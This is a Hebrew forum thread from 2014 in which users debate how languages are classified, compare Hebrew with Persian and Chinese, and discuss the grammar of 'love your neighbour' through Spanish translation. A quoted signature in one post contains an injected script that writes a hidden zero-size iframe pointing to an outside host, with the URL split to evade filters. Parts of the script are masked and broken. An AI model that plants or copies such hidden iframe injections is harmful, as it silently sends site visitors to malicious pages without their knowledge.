|
|
| נשלח ב-11/3/2014 19:14 |
 |
| |
מואדיב,
התכוונתי שיש שלשה אופנים לחלק לשונות. האחד, עפ"י מוצאן. השני, עפ"י תקופתן. השלישי, לפי תכליתן.
על-פי תקופתן.
לדוגמא, כיום לרוב הלשונות בעולם יש מאפיינים מודרנים כתוצאה מהשפעת הטכנולוגיה והגלובליזציה.
עוד דוגמא, בתקופות בהן רוב בני האדם חיו בכפרים והתפרנסו מחקלאות, הדבר בא לידי ביטוי באוצר המלים של הלשונות שהיו נפוצות אז.
מה ייחד את הלשונות בתקופת המשנה? שאלה טובה.
אולי דיבור וכתיבה מסודרים ברורים ומדויקים.
עיין הפרק על ההוצאה לאור של המשנה בספרו של הרב שאול ליברמן "הלניזם בא"י היהודית".
לפי תכליתן.
כל לשון מתפתחת בהתאם לרוח הכללית של הלאום. לפיכך, אם יש קרבה בערכים ובמידות בין לאומים שונים, הדבר בא לידי ביטוי גם בלשונותיהם.
|
|
|
|
| נשלח ב-11/3/2014 19:22 |
|
| |
| מם80 כתב: |  | מואדיב,
התכוונתי שיש שלשה אופנים לחלק לשונות. האחד, עפ"י מוצאן. השני, עפ"י תקופתן. השלישי, לפי תכליתן.
על-פי תקופתן.
לדוגמא, כיום לרוב הלשונות בעולם יש מאפיינים מודרנים כתוצאה מהשפעת הטכנולוגיה והגלובליזציה.
עוד דוגמא, בתקופות בהן רוב בני האדם חיו בכפרים והתפרנסו מחקלאות, הדבר בא לידי ביטוי באוצר המלים של הלשונות שהיו נפוצות אז.
מה ייחד את הלשונות בתקופת המשנה? שאלה טובה.
אולי דיבור וכתיבה מסודרים ברורים ומדויקים.
עיין הפרק על ההוצאה לאור של המשנה בספרו של הרב שאול ליברמן "הלניזם בא"י היהודית".
לפי תכליתן.
כל לשון מתפתחת בהתאם לרוח הכללית של הלאום. לפיכך, אם יש קרבה בערכים ובמידות בין לאומים שונים, הדבר בא לידי ביטוי גם בלשונותיהם.
|
|
סהדי במרומים שאינני מסוגל להבין את הטענה.
באפגניסטן מדברים היום - רוב התושבים - בשפה הפשטונית. באריתראה מדברים טיגרית, באיראן פרסי, ובאירלנד לא מעט מדברים בבתיהם גאלית, בכוונה, במקום אנגלית.
בתקופת המשנה, בסין דיברו סינית, באיראן דיברו פרסי, במצרים דיברו יוונית, ובני האינקה דיברו בשפתם.
אתה באמת טוען שהיה משותף בין שפתם של בני האינקה לבין שפתם של הסינים, רק בגלל שהם חיו באותה התקופה? אתה מוצא משותף כיום בין השפה העברית לבין שפת הנבאחו?
|
|
|
|
| נשלח ב-11/3/2014 19:35 |
|
| |
התכוונתי ללשונות של עמים שהתפתחו מבחינה מוסרית ואשר באותה תקופה יש יצירות כתובות חשובות ומרכזיות ללשונותיהם.
תוקן על ידי מם80 ב- 11/03/2014 19:37:44
|
|
|
|
| נשלח ב-11/3/2014 20:07 |
|
| |
| מם80 כתב: | | התכוונתי ללשונות של עמים שהתפתחו מבחינה מוסרית ואשר באותה תקופה יש יצירות כתובות חשובות ומרכזיות ללשונותיהם.
תוקן על ידי מם80 ב- 11/03/2014 19:37:44
|
|
... אז אתה מוזמן למצוא את המכנים הלשוניים המשותפים ליצירותיו של קונג-פו-צה ולמגילת אסתר - הם נכתבו בערך באותו הזמן.
|
|
|
|
| נשלח ב-11/3/2014 20:49 |
|
| |
לאיזה מיצירותיו של קונג-פו-דזה ותלמידיו אתה מתכוון (שהרי הכתבים הקנונים של סין נכתבו בתקופות שונות)?
תוקן על ידי מם80 ב- 11/03/2014 20:49:46
|
|
|
|
| נשלח ב-12/3/2014 07:44 |
|
| |
מואדיב
אני מתקשה לעקוב אחרי כל האשכול עקב מיעוט הזמן, אבל הנושא מעניין וחביב עלי, וכתיבתך תמיד מוצאת חן בעיני, בין השאר בגלל הידע ובגלל ההומור.
אבל בעמוד זה, איני מבין מדוע לא צדק מ. לא הבנתי שהוא בא לטעון שיש דמיון בין ביטויים לשוניים, אלא בין הדברים שהביטויים מצביעים עליהם.
בעולם שבו יש מחרשות ופרות לחרישה, סביר שיהיו מילים שיצביעו על אלו ואלו. בעולם שבו יש מחשבים, יהיו מלים נפרדות למחשב שולחני, נייד, סמרטפון ושאר מרעין בישין גוזלי זמן או חוסכי זמן.
איך זה קשור לדיון הקודם, זה אכן צריך להסביר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-12/3/2014 09:34 |
|
| |
| מיימוני כתב: | | מואדיב
אני מתקשה לעקוב אחרי כל האשכול עקב מיעוט הזמן, אבל הנושא מעניין וחביב עלי, וכתיבתך תמיד מוצאת חן בעיני, בין השאר בגלל הידע ובגלל ההומור.
אבל בעמוד זה, איני מבין מדוע לא צדק מ. לא הבנתי שהוא בא לטעון שיש דמיון בין ביטויים לשוניים, אלא בין הדברים שהביטויים מצביעים עליהם.
בעולם שבו יש מחרשות ופרות לחרישה, סביר שיהיו מילים שיצביעו על אלו ואלו. בעולם שבו יש מחשבים, יהיו מלים נפרדות למחשב שולחני, נייד, סמרטפון ושאר מרעין בישין גוזלי זמן או חוסכי זמן.
איך זה קשור לדיון הקודם, זה אכן צריך להסביר.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
מיימוני,
אחרי מחמאתך כאן - אני שוקל לפרוש כליל ולהתמסר לביתי, שקימא לן שעדיף לפרוש בשיא.
לגבי שאלתך - אוצר מלים זה לא משהו שמאפיין מבנה של שפה, ואם לכך הכוונה - לא למדנו מאומה.
ברור כי בשפה העברית של התנ"ך יש מלים רבות יותר לחלקים השונים בגפן מאשר לחלקי האניה - וההיפך באנגלית הקדומה. ברור כי שפה מייצגת את התרבות של המשתמשים בה, ולא בכדי מלים מסויימות בשפתנו - שאולות משפות זרות, מהאמבט ועד לפנקס.
אולם אם לכך הכוונה - אין בכך שום דבר כדי לתמוך במה שנכתב - ואני מודה שזו היתה גלישה משדרת הנושא של הדיון.
העברית היא שפה שמית - ולכן היא בנויה על בסיס שורשים, גזרות, בניינים ומשקלים. הפרסית, זו שבה נתקלו אבותינו בבבל, היא שפה הודו-אירופית, ואינה בנויה בצורה כזו. הדקדוק שונה, התחביר שונה, וכו'. נסה, למשל, למצוא את השורש של מלה כמו 'חנטריש'. השימוש היומיומי שלנו מוכר, וזו מלה פרסית במקור. או 'בלגאן' - בדומה לכך. כשאני אומר לבני שהחדר 'מבולגן' ויש לסדרו, הרי ביצעתי 'גיור' למלה שמקורה פרסי, והפכתי את שם העצם - או התואר במקרה של השימוש הנפוץ בעברית - לפועל בן ארבע אותיות. אני אפילו מגדיל עשות, כי את האות ג' במלה 'מבולגן' אינני מדגיש, וכך שיניתי את המלה ממקורה הפרסי לגמרי. גיירתי אותה סופית.
ועד כאן הערה שאינה קשורה. ליבת הויכוח כאן היא כנגד טענתו של בן סרוק שמציג מם80, כי יש יסוד של שורשים בני אות אחת או שתי אותיות לכל המלים העבריות המקוריות. הדיון התבלבל, התפזר ונפרש לעוד כמה וכמה דברים - גם בשל ההתפסות שלי לכמה טעויות שנכתבו כאן.
|
|
|
|
| נשלח ב-12/3/2014 09:43 |
|
| |
| מם80 כתב: | |
...מה ייחד את הלשונות בתקופת המשנה? שאלה טובה. אולי דיבור וכתיבה מסודרים ברורים ומדויקים. עיין הפרק על ההוצאה לאור של המשנה בספרו של הרב שאול ליברמן "הלניזם בא"י היהודית". ...
לאיזה מיצירותיו של קונג-פו-דזה ותלמידיו אתה מתכוון (שהרי הכתבים הקנונים של סין נכתבו בתקופות שונות)?
|
|
איזו יצירה שאתה רוצה - לבחירתך.
אני, למרבית הבושה, לא יכול לקרוא את קונפוציוס במקור אלא רק בתרגומים. כדי להשוות את המאפיינים הלשוניים, נדרשת הכרה של שתי השפות. לפיכך, אודה שוב במבוכה קלה, אינני יכול לבצע השוואה של המאפיינים הלשוניים בין מגילת אסתר לבין יצירותיו של קונג פו צה. אמנם עם המגילה כנראה אסתדר, אבל עם הכתב הסיני בטוח שלא.
|
|
|
|
| נשלח ב-12/3/2014 14:02 |
|
| |
מואדיב,
לדעת לשון אין פירושו רק לדעת לדבר ולקרוא ולכתוב בלשון וידיעת חוקי דקדוקה, אלא היכרות עם ספרותה, והבחנה בדקויותיה.
מהבחינה הזו, מאחר שבין חתימת התנ"ך לחיבור המשנה יש כמה מאות שנים בהן אין לנו כמעט ספרות כתובה, ומאחר שבגלות לשון הקדש נשתכחה, הרבה מדקויותיה נעלמות מאתנו. לדוגמא, יש הבדלים משמעותיים בסגנון בין נביאים ראשונים לנביאים אחרונים, ובין כל אחד מהנביאים האחרונים לרעהו, אלא שרוב הקוראים המודרנים בד"כ אינם מסוגלים להבחין ביניהם ועבורם לשון המקרא הינה סגנון כביכול אחד.
תורה ניתנה לבני אדם ומדברת בלשון בני אדם. אנשים בד"כ מבינים את המקרא בהתאם לאורחות החיים בזמנם והלשון המדוברת בתקופתם, אלא מאחר שאורחות החיים של הקדמונים רחוקים מאוחרות החיים של האחרונים, לא רק שהרבה פירושים, בין פירושי אחרונים ובין פירושי ראשונים, התרחקו מכוונתם המקורית, אלא שגם כאשר הפירושים מכוונים אל האמת, בכל זאת לענ"ד פעמים רבות חסרה הבנה דקה בהוראת המקראות.
אתן לך דוגמא מהלשון האנגלית. באנגלית המלה פוא"ט מורה על משורר, ונגזרת מהמלה היוונית פויאט"ס (ממנה גם נגזרת המלה פייטן בעברית)
המורה על יוצר, מחבר ומשורר. עוד מלה בלשון האנגלית המורה על משורר הינה המלה באר"ד, שמקורה בלשון הגאלית, המורה על משורר במשמעות מזמר. בתרבות הקלטית של ימי הביניים, הבארדים היו משוררים מקצועיים שהיו מתפרנסים מלחבר שירים ליריים או אפים ומזמרים אותם תוך ליווי בכלי נגינה. האם הבנו מתי נכון בלשון אנגלית להשתמש במלה פוא"ט ומתי במלה באר"ד? לא. לפי ההוראה הפשטנית של המלים, המשורר שקספיר נקרא פוא"ט כי עסק בעיקר בחיבור מחזות, אז למה באנגליה קוראים לו הבאר"ד?
כי מתקופת הבארוק ואילך, החלו בהדרגה להשתמש בבריטניה במלה באר"ד
כתואר המורה על משורר גדול. לפיכך, האם בכל מקום, בו מדברים בלשון האנגלית, אם נאמר הבאר"ד יבינו שהכוונה לשקספיר? לאו דווקא, כי לדוגמא כשהסקוטים משתמשים במלה הבאר"ד כוונתם למשוררם הלאומי רוברט ברנס. עתה, נניח שאנו לומדים שני שירים הכתובים בלשון האנגלית, שחוברו לפני כארבע-מאות שנים, האחד ע"י משורר וולשי, והשני ע"י משורר סקוטי, ובשניהם מוזכרת המלה באר"ד, האם כוונתם לאותה משמעות של המלה? לא, כי באותה תקופה בוולס השתמשו במלה באר"ד
כתואר אצולה שניתן לאנשים כשבח בעבור הישגים יוצאי דופן, ואילו באותה תקופה בסקוטלנד לא ממש חיבבו את הב"ארדים והשתמשו במלה כתואר גנאי. על סמך מה שלמדנו, אם המלה פואטר"י מורה על שירה, מה פירוש המלה בארדולטר"י? הערצה מוגזמת לשקספיר :)
תוקן על ידי מם80 ב- 12/03/2014 14:53:55
|
|
|
|
|
| נשלח ב-12/3/2014 15:06 |
|
| |
.
הודעה מאד יפה, מם80.
כעת אתה מוכן לחזור ולהתייחס לשאלתי? האם אתה יכול להשוות ולהדגים את הדמיון הלשוני בין הספרות הסינית מתקופת קונפוציוס לבין מגילת אסתר?
|
|
|
|
| נשלח ב-12/3/2014 16:33 |
|
| |
מואדיב,
לו הבנתי לשון סינית, אולי הייתי מסוגל להשיב לשאלתך אחרי לימוד בעיון של הספרות הסינית. מכל מקום, אנסה לחפש ולמצוא דוגמא לדמיון לשוני בין לשון הקדש לבין לשון שאיננה שמית, או איך אפשר להיעזר בלשונות אחרות ללימוד לשון הקדש.
נקודה שברצוני להדגיש שוב:
לענ"ד כל שיטה דקדוקית איננה אלא הבנה מאוחרת של הלשון שנועדה להסבירה אחרי שהתפתחה והתרחבה והתרחקה ממקורותיה. לפיכך, אם יש שיטות דקדוקיות שונות ששימשו בהצלחה מפרשים במהלך הדורות, אפשר להשתמש בכל אחת מהן אם מבינים מה דרכה ויסודותיה
וגבולותיה. לדוגמא, הן לרש"י והן לרד"ק היתה
הבנה אינטואיטיבית נפלאה של לשון הקדש, למרות שזה השתמש בשיטת השניים וזה בשיטת המשולשים, לפיכך יש מה ללמוד מדקדוקי הלשון שלכל אחד ואחד מהם.
|
|
|
|
| נשלח ב-12/3/2014 21:06 |
|
| |
ואהבת לרעך כמוך.
תרגום לאנגלית:
Tou shalt love thy neighbour as thyself.
תרגום לאיטלקית:
Amarai il tuo prossimo come te stesso.
תרגום לצרפתית:
Tu aimeras ton prochain comme toi-même.
תרגום לספרדית:
Amarás a tu prójimo como a ti mismo.
יש לשים לב שנדרשות 7-8 מלים בלשון האנגלית ובלשונות הלטיניות כדי לומר את הפסוק בן שלוש המלים בלשון הקדש. ועדיין כל אחד מהתרגומים מצליח להעביר את ההוראה המקורית שבעברית רק באופן חלקי.
לכאורה ארבעת התרגומים זהים ומתרגמים את הפסוק: תאהב את רעך כמו את עצמך. אולם בהתבוננות מדוקדקת יותר, מסתבר שבלשון הספרדית התווספה
מלת היחס
a
שפירושה ל. והתרגום בספרדית הינו: תאהב ל-רעך כמו ל-עצמך.
מדוע?
בלשון ספרדית ברוב רובם של הפעלים אם המושא של הפועל הינו אדם, אזי משתמשים במושא עקיף ולא במושא ישיר, זאת באמצעות הוספת מלת היחס ל בין הפועל לבין המושא. יתירה על כך, אם למדבר יש זיקה רגשית לבע"ח או לחפץ השייך לו או השייך למישהו אחר, אזי אפשר להשתמש במושא עקיף כדי להאנישו. השימוש במושא עקיף באמצעות הוספת מלת היחס ל מורה על מרחק.
אדם איננו חפץ או כלי שמשתמשים בו. אלא היחס בין אדם לרעהו דורש תשומת לב, כבוד, אחריות.
ואהבת לרעך כי דעתו איננה בהכרח כדעתך, ותמיד יהיה מרחק ביניכם כי כל אחד מכם בריאה ייחודית לכשעצמה. לפיכך כדי לאהוב נדרשת התקרבות מתמדת לרעך תוך כיבוד ושמירת ייחודו וייחודך.
ואהבת לרעך כמוך.
תוקן על ידי מם80 ב- 12/03/2014 21:22:59
|
|
|
|
| נשלח ב-12/3/2014 23:36 |
|
| |
מ
חוששני שאני עומד לפתוח נושא חדש.
אבל מדוע "לרעך" ולא "את רעך" - בעברית?
אין לי רגישות לשונית שמאפשרת לי לפענח את האמירה הזו. אולם ה"רע" (רעך) אמור להיות מושא ישיר, ולא עקיף, בעברית, הלא כן?
ובאופן עקרוני, דומה שהמשפט שבחרת כדי להדגים את הקושי שבתירגום הוא מן הקשים במקרא. ודווקא בגלל פשטותו שלכאורה.
אף זאת: מהי אהבה במקרא?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/3/2014 00:38 |
|
| |
מיימוני,
אם רעך היה אמור להיות מושא ישיר, אזי התורה היתה אומרת ואהבת את רעך, וזה ציווי בלתי אפשרי לנפש האדם כפי שביארו מפרשים ראשונים ואחרונים, אלא התורה אומרת ואהבת לרעך, וזה מושא עקיף.
בהרבה
לשונות אין אפשרות דקדוקית להשתמש במושא עקיף בפסוק כזה, ומה שמפליא שבלשון ספרדית אין אפשרות דקדוקית להשתמש במושא ישיר בפסוק הזה, אלא חובה להשתמש במושא עקיף, מה ששימר כוונה שמקורה בלשון הקדש. מצאתי שתרגומי מספרדית כיוון לדעת שד"ל, שפירש את הפסוק: תאהב לרעך מה שתאהב לעצמך. וכוונתו ל בהוראת בשביל או בעבור.
והמלבי"ם פירש ל בהוראת הגעה אל הדבר, כלומר שיראה וישתדל להגיע לחברו מה שרוצה להגיע לעצמו הן מן התועלתיות והן משמירת נזק.
או בתרגום לאנגלית:
Be loving to your neighbour like yourself.
תוקן על ידי מם80 ב- 13/03/2014 00:43:07
|
|
|
|
| נשלח ב-13/3/2014 00:50 |
|
| |
מם, משתמשים במילית היחס a גם לפעלים שונים, כגון (בהתאם לשעה): voy a dormir , גם זה מוגדר כמושא עקיף?
(אולי באמת במקום להידחק בתיאוריות מעורפלות על "לשון הקודש", שהיא יחסית קרובה אלינו ונגישה ללימוד לכל אחד, תרביץ בנו תורה על לשונות הגויים, לשון לשון וייחודה).
buenas noches
תוקן על ידי אחר_מוחלט ב- 13/03/2014 00:59:49
|
|
|
|
|
